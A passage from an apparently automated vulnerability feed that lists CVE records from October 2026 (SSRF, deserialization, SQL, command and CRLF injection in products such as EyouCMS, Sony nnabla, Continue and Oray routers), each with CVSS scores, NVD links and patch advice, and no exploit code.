NVD CVE-2026-116094: https://nvd.nist.gov/vuln/detail/CVE-2026-116094
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was determined in EyouCMS up to 1.8.3. This impacts the function remote_file_to_local of the file application/function.php. Executing a manipulation can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in SteelRaven7 Ravenfield 25407073. This vulnerability affects the function cacheCoverPoints of the component RFL Custom Map Handler/RFLD Custom Map...
https://kevwire.com/record/CVE-2026-116098
A vulnerability was detected in SteelRaven7 Ravenfield 25407073. This vulnerability affects the function cacheCoverPoints of the component RFL Custom Map Handler/RFLD Custom Map... (Oct 26, 2026).
A vulnerability was detected in SteelRaven7 Ravenfield 25407073. This vulnerability affects the function cacheCoverPoints of the component RFL Custom Map Handler/RFLD Custom Map Handler. Performing a manipulation results in deserialization. Remote exploitation of the attack is possible. The patch is named EA39 Security Patch. Applying a patch is the recommended action to fix this issue.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116098).
Sources:
NVD CVE-2026-116098: https://nvd.nist.gov/vuln/detail/CVE-2026-116098
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was detected in SteelRaven7 Ravenfield 25407073. This vulnerability affects the function cacheCoverPoints of the component RFL Custom Map Handler/RFLD Custom Map Handler. Performing a manipulation results in deserialization. Remote exploitation of the attack is possible. The patch is named EA39 Security Patch. Applying a patch is the recommended action to fix this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in Sony Neural Network Libraries up to 1.39.0. This affects the function load_param_in_txt of the file...
https://kevwire.com/record/CVE-2026-116103
A vulnerability was identified in Sony Neural Network Libraries up to 1.39.0. This affects the function load_param_in_txt of the file... (Oct 26, 2026).
A vulnerability was identified in Sony Neural Network Libraries up to 1.39.0. This affects the function load_param_in_txt of the file python/src/nnabla/utils/cli/encode_decode_param.py of the component Encode Param Command Handler. Such manipulation leads to code injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116103).
Sources:
NVD CVE-2026-116103: https://nvd.nist.gov/vuln/detail/CVE-2026-116103
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was identified in Sony Neural Network Libraries up to 1.39.0. This affects the function load_param_in_txt of the file python/src/nnabla/utils/cli/encode_decode_param.py of the component Encode Param Command Handler. Such manipulation leads to code injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in Sony Neural Network Libraries up to 1.39.0. This impacts the function func_set_nnabla_version_decorate of the file...
https://kevwire.com/record/CVE-2026-116104
A security flaw has been discovered in Sony Neural Network Libraries up to 1.39.0. This impacts the function func_set_nnabla_version_decorate of the file... (Oct 26, 2026).
A security flaw has been discovered in Sony Neural Network Libraries up to 1.39.0. This impacts the function func_set_nnabla_version_decorate of the file python/src/nnabla/utils/converter/utils.py of the component NNP Converter. Performing a manipulation of the argument function.type results in code injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116104).
Sources:
NVD CVE-2026-116104: https://nvd.nist.gov/vuln/detail/CVE-2026-116104
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A security flaw has been discovered in Sony Neural Network Libraries up to 1.39.0. This impacts the function func_set_nnabla_version_decorate of the file python/src/nnabla/utils/converter/utils.py of the component NNP Converter. Performing a manipulation of the argument function.type results in code injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in HeyCyan App 1.0.103 on Android. Affected by this vulnerability is an unknown functionality of the component FileProvider.
https://kevwire.com/record/CVE-2026-116106
A security vulnerability has been detected in HeyCyan App 1.0.103 on Android. Affected by this vulnerability is an unknown functionality of the component FileProvider. (Oct 26, 2026).
A security vulnerability has been detected in HeyCyan App 1.0.103 on Android. Affected by this vulnerability is an unknown functionality of the component FileProvider. The manipulation leads to improper access controls. The attack may be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 6.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116106).
Sources:
NVD CVE-2026-116106: https://nvd.nist.gov/vuln/detail/CVE-2026-116106
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A security vulnerability has been detected in HeyCyan App 1.0.103 on Android. Affected by this vulnerability is an unknown functionality of the component FileProvider. The manipulation leads to improper access controls. The attack may be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in continuedev Continue 2.0.0. This vulnerability affects the function MCPManagerSingleton.setConnections of the file core/config/ConfigHandler.ts...
https://kevwire.com/record/CVE-2026-116109
A vulnerability has been found in continuedev Continue 2.0.0. This vulnerability affects the function MCPManagerSingleton.setConnections of the file core/config/ConfigHandler.ts... (Oct 26, 2026).
A vulnerability has been found in continuedev Continue 2.0.0. This vulnerability affects the function MCPManagerSingleton.setConnections of the file core/config/ConfigHandler.ts of the component MCP Server Transport. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116109).
Sources:
NVD CVE-2026-116109: https://nvd.nist.gov/vuln/detail/CVE-2026-116109
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability has been found in continuedev Continue 2.0.0. This vulnerability affects the function MCPManagerSingleton.setConnections of the file core/config/ConfigHandler.ts of the component MCP Server Transport. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in GiantappMan LiveWallPaper 2.6.8.0 on Windows. This issue affects some unknown processing of the file /LiveWallpaper/UploadFile of the component...
https://kevwire.com/record/CVE-2026-116110
A vulnerability was found in GiantappMan LiveWallPaper 2.6.8.0 on Windows. This issue affects some unknown processing of the file /LiveWallpaper/UploadFile of the component... (Oct 26, 2026).
A vulnerability was found in GiantappMan LiveWallPaper 2.6.8.0 on Windows. This issue affects some unknown processing of the file /LiveWallpaper/UploadFile of the component SignalR Hub. Performing a manipulation results in missing authentication. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The patch is named b62f878899adbfc2968e3345442f3a3df91b774d. It is suggested to install a patch to address this issue. The vendor was contacted early about this disclosure.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116110).
Sources:
NVD CVE-2026-116110: https://nvd.nist.gov/vuln/detail/CVE-2026-116110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was found in GiantappMan LiveWallPaper 2.6.8.0 on Windows. This issue affects some unknown processing of the file /LiveWallpaper/UploadFile of the component SignalR Hub. Performing a manipulation results in missing authentication. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The patch is named b62f878899adbfc2968e3345442f3a3df91b774d. It is suggested to install a patch to address this issue. The vendor was contacted early about this disclosure.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in HashenUdara edoc-doctor-appointment-system up to cc258425b915d1af9e298777ccd26d160493e68d. The affected element is an unknown function of the...
https://kevwire.com/record/CVE-2026-116112
A vulnerability was identified in HashenUdara edoc-doctor-appointment-system up to cc258425b915d1af9e298777ccd26d160493e68d. The affected element is an unknown function of the... (Oct 26, 2026).
A vulnerability was identified in HashenUdara edoc-doctor-appointment-system up to cc258425b915d1af9e298777ccd26d160493e68d. The affected element is an unknown function of the file admin/add-new.php. The manipulation of the argument spec leads to sql injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116112).
Sources:
NVD CVE-2026-116112: https://nvd.nist.gov/vuln/detail/CVE-2026-116112
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was identified in HashenUdara edoc-doctor-appointment-system up to cc258425b915d1af9e298777ccd26d160493e68d. The affected element is an unknown function of the file admin/add-new.php. The manipulation of the argument spec leads to sql injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in Yoosee GM8135S Camera 21.00.01.36. Affected is an unknown function of the component Secure Boot.
https://kevwire.com/record/CVE-2026-116116
A vulnerability was detected in Yoosee GM8135S Camera 21.00.01.36. Affected is an unknown function of the component Secure Boot. (Oct 26, 2026).
A vulnerability was detected in Yoosee GM8135S Camera 21.00.01.36. Affected is an unknown function of the component Secure Boot. Performing a manipulation results in improper verification of cryptographic signature. The attack needs to be approached locally. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116116).
Sources:
NVD CVE-2026-116116: https://nvd.nist.gov/vuln/detail/CVE-2026-116116
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was detected in Yoosee GM8135S Camera 21.00.01.36. Affected is an unknown function of the component Secure Boot. Performing a manipulation results in improper verification of cryptographic signature. The attack needs to be approached locally. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in GNOME libgsf up to 1.14.60. The impacted element is the function ole_info_read_metabat of the file gsf/gsf-infile-msole.c of the...
https://kevwire.com/record/CVE-2026-116124
A security vulnerability has been detected in GNOME libgsf up to 1.14.60. The impacted element is the function ole_info_read_metabat of the file gsf/gsf-infile-msole.c of the... (Oct 26, 2026).
A security vulnerability has been detected in GNOME libgsf up to 1.14.60. The impacted element is the function ole_info_read_metabat of the file gsf/gsf-infile-msole.c of the component OLE2 Parser. The manipulation leads to heap-based buffer overflow. The attack can be initiated remotely. The identifier of the patch is a8e25560b74f84c3f86df6ca0ac59195fa5af68a. It is recommended to apply a patch to fix this issue.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116124).
Sources:
NVD CVE-2026-116124: https://nvd.nist.gov/vuln/detail/CVE-2026-116124
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A security vulnerability has been detected in GNOME libgsf up to 1.14.60. The impacted element is the function ole_info_read_metabat of the file gsf/gsf-infile-msole.c of the component OLE2 Parser. The manipulation leads to heap-based buffer overflow. The attack can be initiated remotely. The identifier of the patch is a8e25560b74f84c3f86df6ca0ac59195fa5af68a. It is recommended to apply a patch to fix this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in Ndemic Creations Plague Inc Evolved up to 1.24.0.3. The affected element is an unknown function of the component Workshop Scenario Loader.
https://kevwire.com/record/CVE-2026-116230
A vulnerability was identified in Ndemic Creations Plague Inc Evolved up to 1.24.0.3. The affected element is an unknown function of the component Workshop Scenario Loader. (Oct 26, 2026).
A vulnerability was identified in Ndemic Creations Plague Inc Evolved up to 1.24.0.3. The affected element is an unknown function of the component Workshop Scenario Loader. Such manipulation leads to deserialization. The attack may be performed from remote. Upgrading to version 1.24.0.4 is sufficient to fix this issue. It is recommended to upgrade the affected component.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116230).
Sources:
NVD CVE-2026-116230: https://nvd.nist.gov/vuln/detail/CVE-2026-116230
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was identified in Ndemic Creations Plague Inc Evolved up to 1.24.0.3. The affected element is an unknown function of the component Workshop Scenario Loader. Such manipulation leads to deserialization. The attack may be performed from remote. Upgrading to version 1.24.0.4 is sufficient to fix this issue. It is recommended to upgrade the affected component.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in Oray Pugongying X5 Pro 7.6.1. The impacted element is an unknown function of the component Ser2net.
https://kevwire.com/record/CVE-2026-116231
A security flaw has been discovered in Oray Pugongying X5 Pro 7.6.1. The impacted element is an unknown function of the component Ser2net. (Oct 26, 2026).
A security flaw has been discovered in Oray Pugongying X5 Pro 7.6.1. The impacted element is an unknown function of the component Ser2net. Performing a manipulation of the argument regmsg results in crlf injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116231).
Sources:
NVD CVE-2026-116231: https://nvd.nist.gov/vuln/detail/CVE-2026-116231
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A security flaw has been discovered in Oray Pugongying X5 Pro 7.6.1. The impacted element is an unknown function of the component Ser2net. Performing a manipulation of the argument regmsg results in crlf injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in Oray Pugongying X5 Pro 7.6.1. This impacts an unknown function of the component Dnsmasq.
https://kevwire.com/record/CVE-2026-116233
A security vulnerability has been detected in Oray Pugongying X5 Pro 7.6.1. This impacts an unknown function of the component Dnsmasq. (Oct 26, 2026).
A security vulnerability has been detected in Oray Pugongying X5 Pro 7.6.1. This impacts an unknown function of the component Dnsmasq. The manipulation of the argument rent_time leads to crlf injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116233).
Sources:
NVD CVE-2026-116233: https://nvd.nist.gov/vuln/detail/CVE-2026-116233
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A security vulnerability has been detected in Oray Pugongying X5 Pro 7.6.1. This impacts an unknown function of the component Dnsmasq. The manipulation of the argument rent_time leads to crlf injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in Oray Pugongying X5 Pro 7.6.1. Affected is an unknown function of the file /etc/ipsec.conf of the component IPsec Policy Handler.
https://kevwire.com/record/CVE-2026-116234
A vulnerability was detected in Oray Pugongying X5 Pro 7.6.1. Affected is an unknown function of the file /etc/ipsec.conf of the component IPsec Policy Handler. (Oct 26, 2026).
A vulnerability was detected in Oray Pugongying X5 Pro 7.6.1. Affected is an unknown function of the file /etc/ipsec.conf of the component IPsec Policy Handler. The manipulation of the argument secproto results in crlf injection. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116234).
Sources:
NVD CVE-2026-116234: https://nvd.nist.gov/vuln/detail/CVE-2026-116234
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was detected in Oray Pugongying X5 Pro 7.6.1. Affected is an unknown function of the file /etc/ipsec.conf of the component IPsec Policy Handler. The manipulation of the argument secproto results in crlf injection. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this issue is the function plugin_init of the file /tmp/upload_files of the component PPPoE WAN Setting...
https://kevwire.com/record/CVE-2026-116236
A vulnerability has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this issue is the function plugin_init of the file /tmp/upload_files of the component PPPoE WAN Setting... (Oct 26, 2026).
A vulnerability has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this issue is the function plugin_init of the file /tmp/upload_files of the component PPPoE WAN Setting Handler. Such manipulation of the argument pppd_options leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 7.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116236).
Sources:
NVD CVE-2026-116236: https://nvd.nist.gov/vuln/detail/CVE-2026-116236
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this issue is the function plugin_init of the file /tmp/upload_files of the component PPPoE WAN Setting Handler. Such manipulation of the argument pppd_options leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in Oray Pugongying X5 Pro 7.6.1. This affects an unknown part of the component Dnsmasq.
https://kevwire.com/record/CVE-2026-116237
A vulnerability was found in Oray Pugongying X5 Pro 7.6.1. This affects an unknown part of the component Dnsmasq. (Oct 26, 2026).
A vulnerability was found in Oray Pugongying X5 Pro 7.6.1. This affects an unknown part of the component Dnsmasq. Performing a manipulation results in crlf injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116237).
Sources:
NVD CVE-2026-116237: https://nvd.nist.gov/vuln/detail/CVE-2026-116237
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was found in Oray Pugongying X5 Pro 7.6.1. This affects an unknown part of the component Dnsmasq. Performing a manipulation results in crlf injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
